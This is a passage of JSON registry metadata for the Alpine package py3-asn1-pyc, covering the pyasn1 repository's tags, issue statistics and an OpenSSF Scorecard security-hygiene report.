e.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-asn1-pyc/codemeta","maintainers":[{"uuid":"alpine@ptrcnull.me","login":null,"name":"Patrycja Rosa","email":"alpine@ptrcnull.me","url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","packages_count":492,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Patrycja Rosa","role":null,"created_at":"2024-12-13T16:54:37.881Z","updated_at":"2024-12-13T16:54:37.881Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers/alpine@ptrcnull.me/packages"}],"registry":{"name":"alpine-v3.21","url":"https://pkgs.alpinelinux.org/packages?branch=v3.21","ecosystem":"alpine","default":false,"packages_count":25394,"maintainers_count":413,"namespaces_count":2,"keywords_count":3607,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1382},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-12-06T12:06:36.014Z","updated_at":"2026-08-20T05:05:40.420Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/namespaces"}},{"id":13008102,"name":"py3-asn1-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-asn1","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_published_at":"2024-10-29T00:10:11.000Z","latest_release_number":"0.6.1-r0","last_synced_at":"2026-08-11T08:01:39.775Z","created_at":"2026-01-31T00:30:31.928Z","updated_at":"2026-08-15T09:21:24.923Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.23/community/x86_64/py3-asn1-pyc","install_command":"apk add py3-asn1-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-15T09:21:24.922Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-asn1-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.23","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-asn1-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-asn1-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-asn1-pyc/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-12T07:46:08.959Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registrie